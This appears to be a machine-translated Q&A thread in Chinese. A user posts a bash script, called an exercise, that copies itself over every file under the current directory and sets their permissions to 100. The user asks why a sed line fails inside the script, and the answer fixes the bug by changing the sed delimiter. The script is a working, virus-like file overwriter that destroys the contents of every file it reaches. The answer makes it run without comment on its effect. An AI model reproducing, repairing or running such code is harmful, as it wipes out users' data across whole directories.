2016-06-09 43 views
1

我正在製作一個腳本,將其自身複製到它所執行的目錄中的所有其他文件中。 (簡單地作爲一個練習)sed將無法在bash腳本中工作

#!/bin/bash 

naz=$0 
list='2e5vff5f8fgg8gs5gs8ggr48gr8grs84gr8448.txt' 
find -type f > $list 
sed -i "/$list/d" $list 
sed -i "/"$naz"/d" $list 

while read infest 
do 
    cp "$naz" "$infest" 2>/dev/null 
    chmod 100 "$infest" 2>/dev/null 
done < $list 

chmod 744 $naz 
rm $list 

它做什麼,我希望它做的,但這個錯誤是在該行whee我嘗試從列表中刪除程序本身。終端給了我這樣的:

sed: -e expression #1, char 16: unterminated `s' command 

我執行手工命令對應於一個終端窗口,它工作得很好,但爲什麼不會它,而在腳本中工作?

回答

3

問題似乎是在這一行:

sed -i "/"$naz"/d" $list 

可變$naz其代表$0可能包含/這將導致sed爲你使用/作爲分隔符抱怨。

爲了解決這個問題,你可以在sed使用替代分隔符:

sed -i "\#$naz#d" "$list" 

假設你的文件名沒有#字符,否則sed允許使用控制字符也爲分隔符。